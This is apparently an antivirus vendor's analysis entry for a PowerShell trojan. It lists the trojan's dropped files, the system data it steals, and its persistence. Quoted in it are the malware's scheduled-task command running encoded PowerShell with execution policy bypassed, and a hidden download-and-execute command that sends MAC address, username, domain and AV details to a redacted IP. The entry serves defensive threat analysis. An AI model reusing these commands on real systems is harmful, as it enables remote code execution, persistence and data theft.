Trojan.PS1.BOXTER.A

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• %System%\getmac.exe /FO CSV

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Dropping Routine

This Trojan drops the following files:

• %User Temp%\ccc.log
• %User Temp%\kkkk.log

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Information Theft

This Trojan gathers the following data:

• Mac Address
• installed AV
• OS Version
• OS architecture
• Domain
• Username
• Date

Other Details

This Trojan does the following:

• If Administrator role:
  
  • It connects to the following URL to download component loaded in its memory:
  • http://cdn.{BLOCKED}dn.net/p?hig{Date}
  • Creates scheduled task:
  • Task Name: Winnet
  • Trigger: Every 45 minutes
  • Task Action: powershell -ep bypass -e {downloaded b64 encoded} /F
  • Adds the following process to create a scheduled task:
  • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {downloaded b64 encoded}" /F
• If not Administrator role:
  • It connects to the following URL to download component loaded in its memory:
  • http://cdn.{BLOCKED}dn.net/p?low{Date}
  • Creates scheduled task:
  • Task Name: Winnet
  • Trigger: Every 45 minutes
  • Task Action: powershell -ep bypass -e {downloaded b64 encoded} /F
  • Adds the following process to create a scheduled task:
  • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {downloaded b64 encoded}" /F
• If %UserTemp\%kkkk.log does not exists, it creates the file and terminates powershell processes running on the machine
• It adds the following process if no other instance of the program is running on the machine:
• /c powershell -nop -w hidden -ep bypass -c IEX (New-Object Net.WebClient).downloadstring("http://{BLOCKED}.{BLOCKED}.103.152/updatev1?mac={mac address}av={av}version={OS version}bit={OS architecture}flag2={flag}domain={domain}user={username}PS={exeflag}